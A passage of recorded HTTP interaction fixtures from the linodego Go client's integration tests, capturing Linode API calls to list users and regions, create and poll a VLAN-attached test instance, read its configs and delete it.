"password_created": null}, {"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "419" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-listuser method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml000066400000000000000000000567531455402072200320160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-ipam","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-ipam","purpose":"vlan"}],"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937869 method: GET response: body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937869 method: GET response: body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937869 method: GET response: body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "705" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937869 method: GET response: body: '{"id": 46937869, "label": "go-ins-test-ipam", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.238"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "705" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"interfaces":"go-vlan-test-ipam"}' url: https://api.linode.com/v4beta/linode/instances/46937869/configs method: GET response: body: '{"data": [{"id": 49793389, "label": "My Debian 9 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 93562257, "volume_id": null}, "sdb": {"disk_id": 93562258, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 367868, "purpose": "vlan", "ipam_address": "10.0.0.1/24", "label": "go-vlan-test-ipam"}]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "746" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937869 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVLANs_List.yaml000066400000000000000000000605361455402072200302270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", 